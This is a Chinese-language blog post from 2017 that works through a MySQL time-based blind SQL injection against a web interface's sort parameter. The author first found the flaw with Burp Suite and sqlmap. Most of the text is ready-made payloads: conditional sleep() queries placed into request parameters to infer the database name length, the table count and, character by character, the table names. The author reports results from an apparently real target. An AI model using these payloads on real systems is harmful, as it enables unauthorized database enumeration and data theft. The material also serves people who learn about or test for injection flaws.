mysql时间延时注入案例

通过Burpsuite结合sqlmap发现如下接口存在时间盲注

 

select * from information_schema.tables where id=1 union select sleep(if(length(database())=5,2,0)),2,3;

select database()

select length(database())
SELECT * FROM (SELECT(SLEEP(5)))PQfL
SELECT * FROM (SELECT(SLEEP(5)))a
SELECT(SLEEP(5))

page=1&rows=15&sort=CREATE_DATE AND if(length(database())=11,sleep(1),1)&order=desc
page=1&rows=15&sort=CREATE_DATE AND if((select count(*) from information_schema.tables where table_schema =database())=248,sleep(1),1)&order=desc


page=1&rows=15&sort=CREATE_DATE AND (if(select count(*) from information_schema.tables where table_schema =database())=248,sleep(1),1)&order=desc

if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(1),1)

page=1&rows=15&sort=CREATE_DATE AND (SELECT * FROM (SELECT(SLEEP(1)))PQfL)&order=desc

 

手工注入案例:

首先分析sqlmap的跑出来的用例:

下面开始构造测试案例的sql:

先分析一下if的作用

如果length(database())=数据库表名长度 ,则执行sleep(1),否则执行1

所以通过尝试猜解,得出数据库名的长度

if(length(database())=11,sleep(1),1)

         

原始案例执行sleep(1),延时并执行成功

 

所以以sleep(1)作为基准测试

猜测数据库名的长度:

当尝试数据库名长度为9的时候,执行的sleep(1)

 

当尝试数据库名长度为10的时候,执行1

当尝试数据库名长度为11的时候,执行的sleep(1)

 

 

猜测当前数据库里有多少张表

当尝试数据库中表个数为248的时候,执行的sleep(1)

当尝试数据库中表个数为249的时候,执行的1

当尝试数据库中表个数为250的时候,执行的sleep(1)

 

猜表名:

先理解mysql中的几个特殊函数:

MySQL字符串函数substring:字符串截取

MySQL 字符串截取函数:left(), right(), substring(), substring_index()。

还有 mid(), substr()。其中,mid(), substr() 等价于 substring() 函数,substring() 的功能非常强大和灵活。

if(select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=97,sleep(1),1);

select substring('example.com', -4, 2)
select substring('example.com', 4, 1);
select substring('example.com', 1, 1);
select ascii(substring('example.com', 4, 1));

select distinct concat(table_name) from information_schema.tables where table_schema=database()
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1  //查询第1张表名
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 1,1  //查询第2张表名
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 2,1  //查询第3张表名

select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1) //第1张表的第1个字符
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),2,1) //第1张表的第2个字符
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),3,1) //第1张表的第3个字符

select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)) //查询字符的ascii编码

page=1&rows=15&sort=CREATE_DATE AND if(ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=96,sleep(1),1)&order=desc

当猜测第一个字符串为96时,

不报错,说明执行sleep(1)

 

当为97时

此时,执行的是1

 

当为98时

97的asccii编码对应的为a,其他的依次类推

 

猜测数据库表名的第一个字符:

 

 

所以第一个字符的asccii编码为115  即s(snsdb_test)

 

一般猜解的方法:

数据库长度--逐个字符猜解数据库名--数据库中表的个数--表名长度--表名-列名和字段

 

http://blog.csdn.net/qq_32400847/article/details/53699714 

参考:

http://blog.csdn.net/qq_32400847/article/details/53699714

http://www.cnblogs.com/ichunqiu/p/5864833.html

https://www.waitalone.cn/mysql-injection-summary.html

http://www.cnblogs.com/0x03/p/7451292.html

http://blog.csdn.net/jinzhichaoshuiping/article/details/45568883

http://www.cnblogs.com/dongchi/p/5079138.html

http://blog.csdn.net/qq_27446553/article/details/51794326

 

posted @ 2017-09-19 21:55  Agoly  阅读(1193)  评论(0编辑  收藏  举报